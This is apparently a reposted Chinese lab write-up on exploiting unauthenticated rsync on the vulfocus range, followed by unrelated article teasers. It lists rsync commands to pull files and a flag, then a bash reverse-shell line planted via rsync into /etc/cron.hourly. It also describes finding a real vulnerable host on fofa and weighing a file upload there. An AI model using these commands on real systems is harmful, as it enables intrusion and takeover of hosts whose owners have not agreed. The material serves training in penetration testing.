Rsync未授权访问-vulfocus

1.原理

Rsync是linux上文件传输的协议,如果有返回直接可以看到,部分主机使用协议的时候不会加密码,就容易造成未授权访问漏洞

2.复现

打开vulfocus.io,搜索rsync关键字,打开环境
在自己的主机上去连接远程服务器:
rsync rsync://123.58.224.8:33546/
利用rsync去连接目的ip地址的对应端口

返回src或者其他文件名字+path就存在使用了这个协议
登入src连接发现没有设置密码
rsync rsync://123.58.224.8:33546/src
我们直接查找要填入的flag
 rsync rsync://123.58.224.8:33546/src/tmp/f*

直接交了就行

3.反弹shell

当然我们不想只要得到信息,我们要争取可以拿到这台主机的权限,这时候我们需要反弹shell,让我们可以登入

3.1 linux计时任务

Linux crontab是用来定期执行程序的命令。
当安装完成操作系统之后,默认便会启动此任务调度命令。
crond 命令每分锺会定期检查是否有要执行的工作,如果有要执行的工作便会自动执行该工作。
存放crontab周期性计划任务的文件:/var/spool/cron/用户名  (按用户分类)
cron服务的日志文件 (记录创建、查看、执行文件):/var/log/cron  
crontab服务的配置文件:**/etc/crontab**
注意:新创建的 cron 任务,不会马上执行,至少要过 2 分钟后才可以,当然你可以重启 cron 来马上执行。
而 linux 任务调度的工作主要分为以下两类:
1、系统执行的工作:系统周期性所要执行的工作,如备份系统数据、清理缓存
2、个人执行的工作:某个用户定期要做的工作,例如每隔10分钟检查邮件服务器是否有新信,这些工作可由每个用户自行设置

3.2 复现

下载文件:rsync rsync://123.58.224.8:22101/src/etc/crontab   /root/cron.txt(你的主机上对应位置保存)

我们的目标就是第一个,17分钟执行一次的这个
写一个shell到这个文件之后等待监听就可以了
shell:/bin/bash -i >& /dev/tcp/自己的ip/对应端口 0>&1
创建文件:touch shell
写入shell:vim shell
加上权限:chmod 777 shell
提交到远程主机:rsync -av /root/shell rsync://123.58.224.8:50461/src/etc/cron.hourly

开另一个窗口监听端口:

等待够时间就可以反弹shell了
由于靶场的原因可能无法等待17分钟就关闭了,很可能是没办法看到效果的
我们可以尝试在fofa上面看看有没有相关类型的漏洞:我找了一个,虽然这个file不是在root下,只是搭在了网站上面,但我们可以发现这个漏洞在现实中任然存在:

我发现可以直接下载.htaccess,我有思路是写入替换配置文件或者是上传一个php文件,但是由于也是国内的网站就先不动了

免责声明:本篇文章纯属技术交流,没有任何教导网络攻击的意思

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/32997.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

项目总结-前端路由hash和history

项目总结-前端路由hash和history router模块 路由需要实现的功能 当浏览器地址发生变化的时候,切换页面点击浏览器后退前进的时候,网页内容发生变化刷新浏览器,网页加载当前路由对应内容 路由主要是通过监听事件,并利用js实现…

【AI应用探讨】—小模型应用场景(总述)

目录 1. 线性模型 金融行业风险评估: 经济学分析与预测: 2. 决策树 信贷审批: 医疗诊断: 3. 朴素贝叶斯 垃圾邮件过滤: 社交媒体情感分析: 4. 小型神经网络 图像识别: 语音识别&…

软件开发教学:在线教育系统源码解析及教育培训小程序搭建实战

本篇文章,笔者将以“从零开始的软件开发教学”为主题,详细解析在线教育系统的源码,并通过实际操作来搭建一个教育培训小程序。 一、在线教育系统概述 在线教育系统是一个综合性的网络平台,旨在通过互联网提供教育资源和服务。该系…

13.爬虫---PyMongo安装与使用

13.PyMongo安装与使用 1.安装 PyMongo2.使用PyMongo2.1连接数据库和集合2.2增加数据2.3修改数据2.4查询数据2.5删除数据 3.总结 MongoDB 安装可以看这篇文章MongoDB安装配置教程(详细版) 1.安装 PyMongo PyMongo 是Python中用于连接MongoDB数据库的库&a…

系统架构师概述

引言 系统架构设计师是项目开发活动中的众多角色之一,它可以是一个小组或者一个人或者是一个团队,架构师包含建筑师,设计师,创造者,缔造者,可以说架构师就是我们社会各个领域的创造者和缔造者。从组织上划分…

15天搭建ETF量化交易系统Day9—玩大A必学网格策略

搭建过程 每个交易者都应该形成一套自己的交易系统。 很多交易者也清楚知道,搭建自己交易系统的重要性。现实中,从0到1往往是最难跨越的一步。 授人鱼不如授人以渔,为了帮助大家跨出搭建量化系统的第一步,我…

Linux下lsof命令使用

目录 lsof 命令使用指南基本语法常用选项使用示例 lsof vs netstatlsofnetstat区别示例对比 lsof 命令使用指南 lsof (List Open Files) 是一个用于列出当前系统中打开文件的命令,适用于 Unix 和类 Unix 操作系统。它不仅可以列出常规文件,还可以列出打…

Python的pip换源详解

一、引言 Python是一种广泛使用的编程语言,而pip则是Python的包管理工具,用于安装和管理Python包。然而,由于pip默认使用的是Python Package Index(PyPI)作为包的源,而PyPI的服务器位于国外,这…

【Git使用】

Git使用 说明:此文用于自己学习和备忘使用。 主要内容为:创建 -> 初始化 -> 暂存 -> 提交本地仓库 -> 推拉远程仓库。1.准备 下载:Git - Downloads (git-scm.com) 配置参考:Git 安装配置 | 菜鸟教程 (runoob.com) …

reflutter工具实践之--xx一番赏app

此文章已经录制b站视频: flutter逆向案例-某某一番赏_哔哩哔哩_bilibili 一、工具介绍--reFlutter 这个框架帮助 Flutter 应用逆向工程,使用 Flutter 库的补丁版本,该版本已经编译并准备好重新打包应用。此库修改了快照反序列化过程&#…

java周测总结(2)

1.什么是I0流. 是一串流动的字符从先进先出的方式发送信息的通道。 2.IO流共有多少种划分方式,分别都包含哪些流 三种 按流分 输出输入流 按处理单元分 字节和节符 按流的角色方 节点流和处理流 3.如何把字荐串交量str转换为字节数组,并且存入bytes数组当中 byt…

LeetCode665.非递减数列

LeetCode刷题记录 文章目录 📜题目描述💡解题思路⌨C代码 📜题目描述 给你一个长度为 n 的整数数组 nums ,请你判断在 最多 改变 1 个元素的情况下,该数组能否变成一个非递减数列。 我们是这样定义一个非递减数列的&am…

Sass 和 Less 的区别

Sass 和 Less 是两种流行的 CSS 预处理器,它们帮助开发者编写更简洁、高效、可维护的 CSS 代码。尽管它们的目标相似,但在语法、特性和使用上有一些区别。 1. 语法差异 Sass Sass 有两种语法:一种是 SCSS 语法,类似于 CSS&…

人工智能基础

前言 2024年新课标I卷的高考作文题目是人工智能。自2023年openai的chatgpt火爆以来,人工智能概念一直热度不减,似乎你做的事和人工智能不挂点边,都不好意思和别人说。到底什么是人工智能,什么是大模型。人工智能感觉非常高大上&a…

康奈尔大学之论文审稿模型Reviewer2及我司七月对其的实现(含PeerRead)

前言 自从我司于23年7月开始涉足论文审稿领域之后「截止到24年6月份,我司的七月论文审稿GPT已经迭代到了第五版,详见此文的8.1 七月论文审稿GPT(从第1版到第5版)」,在业界的影响力越来越大,所以身边朋友如发现业界有相似的工作&a…

QListView、QTableView或QTreeView截取滚动区域(截长图)

本文以QTreeView为例,理论上继承自QAbstractScrollArea的类都支持本文所述的方法。 一.效果 一共5个文件夹,每个文件文件夹下有5个文件,先把文件夹展开,然后截图。将滚动条拖到居中位置,是为了证明截图对滚动条无影响 下面是截的图 二.原理 将滚动区域的viewport设置为…

C语言 | Leetcode C语言题解之第174题地下城游戏

题目: 题解: int calculateMinimumHP(int** dungeon, int dungeonSize, int* dungeonColSize) {int n dungeonSize, m dungeonColSize[0];int dp[n 1][m 1];memset(dp, 0x3f, sizeof(dp));dp[n][m - 1] dp[n - 1][m] 1;for (int i n - 1; i >…

mechanize - 自动化与HTTP web服务器的交互操作

1、前言 随着自动化测试的普及与落地推广,出现了众多知名的自动化测试工具,如Selenium 、Robot Framework、Playwright等。本文将介绍一款在Python环境下的mechanize库,这个库能够模拟浏览器行为,支持发送HTTP请求、解析HTML页面和…

构建家庭NAS之二:TrueNAS Scale规划、安装与配置

首先声明一下,我用的版本是TrueNAS SCALE 24.04.1.1(目前的最新版本),其它版本的界面和操作方式或有不同。我安装使用过程中网上的一些教程里的操作方式和这个版本不一样,造成了一些困扰。 TrueNAS SCALE的最低硬件需…

Java面试八股之什么是mybatis流式查询

什么是mybatis流式查询 Mybatis流式查询是一种处理大量数据的有效方法,它允许你以低内存消耗的方式来处理查询结果。传统的查询操作会一次性将所有数据加载到内存中,如果数据量非常大,可能会导致OutOfMemoryError(OOM&#xff09…